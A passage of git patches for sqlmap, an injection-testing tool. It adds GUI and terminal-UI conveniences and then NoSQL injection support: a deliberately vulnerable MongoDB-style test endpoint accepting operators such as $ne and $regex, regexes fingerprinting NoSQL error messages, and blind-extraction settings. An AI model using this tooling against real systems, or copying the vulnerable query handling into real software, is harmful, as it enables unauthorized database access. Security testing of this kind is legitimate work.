defaults.get(option.dest, None) + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) # Create temp config file handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) @@ -713,7 +838,7 @@ class NcursesUI: tab = self.tabs[self.current_tab] # Handle input - if key == curses.KEY_F10 or key == 27: # F10 or ESC + if key == curses.KEY_F10: # F10 quits; Esc intentionally does NOT (it only cancels field edits) break elif key == ord('\t') or key == curses.KEY_RIGHT: # Tab or Right arrow self.current_tab = (self.current_tab + 1) % len(self.tabs) @@ -755,9 +880,17 @@ def runTui(parser): # Check if ncurses is available if curses is None: raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)") + # ncurses waits ESCDELAY ms (default 1000) after Esc to disambiguate escape sequences, which + # makes Esc feel like it hangs for ~1s; shrink it so Esc reacts immediately + os.environ.setdefault("ESCDELAY", "25") try: # Initialize and run def main(stdscr): + if hasattr(curses, "set_escdelay"): + try: + curses.set_escdelay(25) + except curses.error: + pass ui = NcursesUI(stdscr, parser) ui.run() From 0a331f2f891e88395acb576df45c323de640e467 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 11:11:03 +0200 Subject: [PATCH 064/165] Minor update --- data/txt/sha256sums.txt | 6 ++--- lib/core/settings.py | 2 +- lib/utils/gui.py | 56 ++++++++++++++++++++++++++++++++++------- lib/utils/tui.py | 40 ++++++++++++++++++++++++++--- 4 files changed, 87 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b1e6dddf2..7a9417871 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a6e15ece62113241870feacc9cda691c64be9b849ce2df169b35ee695a517165 lib/core/settings.py +2db950a79f3f8a4bbb0f35731d4e2eef220150961be55d8ba4b1f9565bdd483a lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -249,7 +249,7 @@ da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/craw a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py -417029b70afe672f3121746a7909887aa996766c92547b4566c50343fff76131 lib/utils/gui.py +3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py @@ -264,7 +264,7 @@ de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/sear 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py -f19a6761284e689fca7d2e07120193f7b9c4f9c506ecaf87e82c2e97cca4db63 lib/utils/tui.py +f28693d5d2783f3d5069b1df3d12e01730ce783f4a40ef31656ef2c879d2f027 lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py b3c5109394f6c3cdd73a524a737b36cca7ecc56619f2a5f801eb1e7f1bfdb78b lib/utils/wafbypass.py 1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef lib/utils/xrange.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2c3537f7e..0a2fc08ab 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.158" +VERSION = "1.10.6.159" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/gui.py b/lib/utils/gui.py index ed6dd13b3..97beb328b 100644 --- a/lib/utils/gui.py +++ b/lib/utils/gui.py @@ -208,6 +208,8 @@ class SqlmapGui(object): self.inners = {} # name -> scrollable inner frame (populated lazily) self.builders = {} # name -> callable that populates the inner frame self.built = set() # names whose content has been built + self.badges = {} # name -> sidebar count badge label + self.sectionDests = {} # name -> [option dests in that section] self.paneOrder = [] # nav order, for Up/Down navigation self.currentPane = None self.process = None @@ -329,6 +331,7 @@ class SqlmapGui(object): cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 8)) cmdBar.pack(fill=tk.X) self.ttk.Label(cmdBar, text="Command:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + self.ttk.Button(cmdBar, text="Copy", command=self._copyCommand, takefocus=False).pack(side=tk.RIGHT, padx=(8, 0)) self.command = tk.StringVar(value="sqlmap.py") cmdEntry = tk.Entry(cmdBar, textvariable=self.command, font=self.fonts["mono"], bg="#ffffff", fg=PALETTE["blue"], readonlybackground="#ffffff", @@ -352,6 +355,12 @@ class SqlmapGui(object): self.window.bind("", lambda e: self._navKey(-1)) for seq in ("", "", ""): self.window.bind_all(seq, self._onWheel) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self._focusTarget()) + self.window.bind("", lambda e: self.saveConfigDialog()) + self.window.bind("", lambda e: self.loadConfig()) self._enableSelectAll() self._tickStats() self._prebuildPanes() @@ -586,14 +595,17 @@ class SqlmapGui(object): icon = tk.Canvas(row, width=22, height=22, highlightthickness=0, borderwidth=0, background=p["mantle"]) icon.pack(side=tk.LEFT, padx=(13, 0), pady=8) self._drawIcon(icon, name, self._iconColor(name)) + badge = tk.Label(row, text="", background=p["mantle"], foreground=p["blue"], font=self.fonts["small"]) + badge.pack(side=tk.RIGHT, padx=(0, 12)) + self.badges[name] = badge lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["subtext"], font=self.fonts["nav"], anchor="w", padx=10, pady=9) lab.pack(side=tk.LEFT, fill=tk.X, expand=True) - for w in (row, lab, strip, icon): + for w in (row, lab, strip, icon, badge): w.bind("", lambda e, n=name: self._selectPane(n)) w.bind("", lambda e, n=name: self._navHover(n, True)) w.bind("", lambda e, n=name: self._navHover(n, False)) - self.navItems[name] = (row, strip, icon, lab) + self.navItems[name] = (row, strip, icon, lab, badge) self.paneOrder.append(name) outer = self.ttk.Frame(self.content, style="Card.TFrame") @@ -618,8 +630,8 @@ class SqlmapGui(object): if name == self.currentPane: return bg = PALETTE["surface2"] if entering else PALETTE["mantle"] - row, strip, icon, lab = self.navItems[name] - for w in (row, strip, icon, lab): + row, strip, icon, lab, badge = self.navItems[name] + for w in (row, strip, icon, lab, badge): w.configure(background=bg) def _navKey(self, delta): @@ -643,16 +655,18 @@ class SqlmapGui(object): p = PALETTE if self.currentPane: self.panes[self.currentPane].pack_forget() - row, strip, icon, lab = self.navItems[self.currentPane] + row, strip, icon, lab, badge = self.navItems[self.currentPane] for w in (row, strip, icon): w.configure(background=p["mantle"]) lab.configure(background=p["mantle"], foreground=p["text"], font=self.fonts["nav"]) + badge.configure(background=p["mantle"], foreground=p["blue"]) self._drawIcon(icon, self.currentPane, self._iconColor(self.currentPane)) self.panes[name].pack(expand=True, fill=self.tk.BOTH) - row, strip, icon, lab = self.navItems[name] + row, strip, icon, lab, badge = self.navItems[name] for w in (row, strip, icon): w.configure(background=p["blue"]) lab.configure(background=p["blue"], foreground="#ffffff", font=self.fonts["bodyBold"]) + badge.configure(background=p["blue"], foreground="#ffffff") self._drawIcon(icon, name, "#ffffff") self.currentPane = name self._ensureNavVisible(name) @@ -704,6 +718,7 @@ class SqlmapGui(object): def _buildQuickStartPane(self): name = "Quick start" self._addPane(name, name) + self.sectionDests[name] = [_ for _ in QUICK_START_DESTS if _ in self.optionByDest] def build(inner): self.ttk.Label(inner, text="Quick start", style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") @@ -721,6 +736,7 @@ class SqlmapGui(object): def _buildGroupPane(self, group): title = _groupTitle(group) self._addPane(title, NAV_ALIASES.get(title, title)) + self.sectionDests[title] = [_optDest(_) for _ in _groupOptions(group) if _optDest(_)] def build(inner, group=group, title=title): self.ttk.Label(inner, text=title, style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") @@ -806,19 +822,25 @@ class SqlmapGui(object): window.geometry("%dx%d+%d+%d" % (width, height, x, y)) def _updateStats(self): - count = 0 + setDests = set() for dest, (otype, var) in self.widgets.items(): try: if otype == "bool": if var.get(): - count += 1 + setDests.add(dest) else: raw = var.get() if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): - count += 1 + setDests.add(dest) except Exception: pass + count = len(setDests) self.stat.set("%d option%s set" % (count, "" if count == 1 else "s")) + for name, dests in self.sectionDests.items(): + badge = self.badges.get(name) + if badge is not None: + hits = sum(1 for _ in dests if _ in setDests) + badge.configure(text=(str(hits) if hits else "")) def _buildCommandString(self): parts = ["sqlmap.py"] @@ -850,6 +872,22 @@ class SqlmapGui(object): self.command.set(self._buildCommandString()) self.window.after(1200, self._tickStats) + def _copyCommand(self): + try: + self.window.clipboard_clear() + self.window.clipboard_append(self.command.get()) + self.hint.set("Command copied to clipboard") + except Exception: + pass + + def _focusTarget(self): + try: + self.targetEntry.focus_set() + self.targetEntry.select_range(0, "end") + except Exception: + pass + return "break" + def _collectConfig(self): config = {} for dest, (otype, var) in self.widgets.items(): diff --git a/lib/utils/tui.py b/lib/utils/tui.py index 476eccecc..3f5d6f43e 100644 --- a/lib/utils/tui.py +++ b/lib/utils/tui.py @@ -260,6 +260,37 @@ class NcursesUI: x += len(tab_text) + 1 + def _build_command(self): + """Assemble the equivalent sqlmap command line from the current field values""" + parts = ["sqlmap.py"] + for opt in self.all_options: + flag = opt['label'].split(',')[0].strip() if opt['label'] else "" + if not flag: + continue + value = opt['value'] + if opt['type'] == 'bool': + if value: + parts.append(flag) + elif value not in (None, "") and str(value) != str(opt.get('default') or ""): + text = str(value) + if ' ' in text or '"' in text: + text = '"%s"' % text.replace('"', '\\"') + parts.append("%s %s" % (flag, text)) + return " ".join(parts) + + def _draw_command(self): + """Live preview of the command being built, just above the footer""" + height, width = self.stdscr.getmaxyx() + cmd = "$ " + self._build_command() + if len(cmd) > width - 2: + cmd = cmd[:width - 5] + "..." + try: + self.stdscr.attron(curses.color_pair(8) | curses.A_BOLD) + self.stdscr.addstr(height - 2, 1, cmd.ljust(width - 2)[:width - 2]) + self.stdscr.attroff(curses.color_pair(8) | curses.A_BOLD) + except curses.error: + pass + def _draw_footer(self): """Draw the footer with help text""" height, width = self.stdscr.getmaxyx() @@ -303,12 +334,12 @@ class NcursesUI: pass y += 1 - # Draw options + # Draw options (leave height-2 for the command preview, height-1 for the footer) visible_start = self.scroll_offset - visible_end = visible_start + (height - y - 2) + visible_end = visible_start + (height - y - 3) for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start): - if y >= height - 2: + if y >= height - 3: break is_selected = (i == self.current_field) @@ -374,7 +405,7 @@ class NcursesUI: if len(tab['options']) > visible_end - visible_start: try: self.stdscr.attron(curses.color_pair(6)) - self.stdscr.addstr(height - 2, width - 10, "[More...]") + self.stdscr.addstr(height - 3, width - 10, "[More...]") self.stdscr.attroff(curses.color_pair(6)) except: pass @@ -828,6 +859,7 @@ class NcursesUI: self._draw_header() self._draw_tabs() self._draw_current_tab() + self._draw_command() self._draw_footer() self.stdscr.refresh() From 2893fd5c4d8f056f76f73facb6e6e24a25c04c85 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 22:57:09 +0200 Subject: [PATCH 065/165] Adding support for NoSQL injection --- data/txt/sha256sums.txt | 17 +- extra/vulnserver/vulnserver.py | 54 +++ lib/controller/checks.py | 8 + lib/controller/controller.py | 5 + lib/core/optiondict.py | 1 + lib/core/settings.py | 34 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/nosql/__init__.py | 6 + lib/techniques/nosql/inject.py | 765 +++++++++++++++++++++++++++++++ tests/test_nosql.py | 650 ++++++++++++++++++++++++++ 11 files changed, 1535 insertions(+), 9 deletions(-) create mode 100644 lib/techniques/nosql/__init__.py create mode 100644 lib/techniques/nosql/inject.py create mode 100644 tests/test_nosql.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7a9417871..eecb2bff2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py +43214ecb0101bce72eb243c91b90db34693ebfd485d6c111a4ae22591ff7800b extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -9387fb775b694156a71b336a2a9638ef24c577aa38746f391ac040ff05306d95 lib/controller/checks.py -96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py +0c6433b289094d37f295238699042a34a6ab950bb3d11f74fe9a83d30bb7f4bd lib/controller/checks.py +ea0fdf6bcda59aae4d093bada965654a0cd940227c2dbdf62b6ded79baa8dfad lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -8b260bff7f24947ece55727277d526c88a91f7cb9ffe059c4b9c190bf85f80e1 lib/core/optiondict.py +056930fba3cf9827f97d280bc38ac785c93108eb84c922f5f39723bb04dcf403 lib/core/optiondict.py 4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,18 +189,18 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2db950a79f3f8a4bbb0f35731d4e2eef220150961be55d8ba4b1f9565bdd483a lib/core/settings.py +ca14e55b4d49a9b9f4e547180828030e4fcc51176dc9036879dbdae05919dd02 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -c1392cda2f202fa3c628f74533c8d9379d1cf7e754ac165e39021bbc2bbc4a22 lib/core/testing.py +e453904a50372216b09146ad9f11cdced2323c10f49c3d866238cc044dcb2cce lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -6060d2d11fab39796b87ace30a872302f365dea3b14d24670915fdb9edc86011 lib/parse/cmdline.py +223badcfd102cdf3313411b63d09b6c59599d58dfc40d27409b1bfa2efc1aa8f lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -240,6 +240,8 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py +44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py +d62b28bf9f1544e65a1017994402f484166f4d64a1efb724351b15e27b851990 lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py @@ -597,6 +599,7 @@ c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_has d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 47ba2cb0b..25e4bb3a9 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -122,6 +122,46 @@ SCHEMA = """ LISTEN_ADDRESS = "localhost" LISTEN_PORT = 8440 +# Minimal MongoDB-style collection backing the NoSQL operator-injection endpoint ('/nosql'). The +# 'password' field is the blind-extraction target, constrained by a sibling 'name' equality match. +NOSQL_USERS = { + "luther": "s3cr3t", + "fluffy": "carrot", + "wu": "shanghai", +} + +def nosql_match(params): + """Emulates a MongoDB find() on NOSQL_USERS: reconstructs the operator object for the 'password' + field (from bracket-notation 'password[$ne]=...' or a JSON sub-document) and evaluates it against + the record selected by 'name'. An invalid $regex raises re.error (surfaced as a driver error).""" + + record = NOSQL_USERS.get(params.get("name")) + + spec = params.get("password") + if isinstance(spec, dict): + op, value = next(iter(spec.items()), ("$eq", None)) + else: + op, value = "$eq", spec + for key in params: + match = re.match(r"^password\[(\$\w+)\](?:\[\])?$", key) + if match: + op, value = match.group(1), params[key] + break + + if isinstance(value, (tuple, list)): + value = value[-1] if value else None + + if record is None: + return False + elif op == "$ne": + return record != value + elif op == "$gt": + return record > (value or "") + elif op == "$regex": + return re.search(value, record) is not None + else: # $eq, $in (single-valued here) and any literal equality + return record == value + _conn = None _cursor = None _lock = None @@ -285,6 +325,20 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(form.encode(UNICODE_ENCODING)) return + if self.url == "/nosql": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + try: + output = "Welcome %s" % self.params.get("name") if nosql_match(self.params) else "Invalid credentials" + except re.error: # invalid $regex -> emulate a MongoDB driver error (drives fingerprinting) + output = "MongoServerError: Regular expression is invalid: missing terminating ] for character class" + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index c450aa1d7..128b4123d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -87,6 +87,7 @@ from lib.core.settings import IPS_WAF_CHECK_TIMEOUT from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH +from lib.core.settings import NOSQL_ERROR_REGEX from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER @@ -1170,6 +1171,13 @@ def heuristicCheckSqlInjection(place, parameter): except (SystemError, RuntimeError) as ex: logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex)) + if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index bd3418d35..328575376 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -520,6 +520,11 @@ def start(): checkWaf() + if conf.nosql: + from lib.techniques.nosql.inject import nosqlScan + nosqlScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 1a7d34b01..ffb03d3fe 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -118,6 +118,7 @@ optDict = { "Techniques": { "technique": "string", + "nosql": "boolean", "timeSec": "integer", "uCols": "string", "uChar": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 0a2fc08ab..6ad6cb33d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.159" +VERSION = "1.10.6.160" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -466,7 +466,8 @@ ERROR_PARSING_REGEXES = ( r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", r"(?Pquery error: SELECT[^<>]+)", - r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)" + r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)", + r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P[^"]+)"' # generic JSON error-message field (NoSQL document/REST back-ends) ) # Regular expression used for parsing charset info from meta html headers @@ -847,6 +848,35 @@ DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" +# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection +NOSQL_ERRORS = ( + ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"), + ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'), + ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['), + ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"), + ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"), + ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"), + ("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"), + ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"), + ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"), + ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"), + ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"), +) +NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS) + +# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction +NOSQL_CHAR_MIN = 0x20 +NOSQL_CHAR_MAX = 0x7e + +# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump +NOSQL_MAX_FIELDS = 64 + +# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump +NOSQL_MAX_RECORDS = 100 + +# Upper bound for the length search during NoSQL blind extraction +NOSQL_MAX_LENGTH = 1024 + # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/core/testing.py b/lib/core/testing.py index a1773789c..0d9a084e7 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -88,6 +88,7 @@ def vulnTest(): ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" 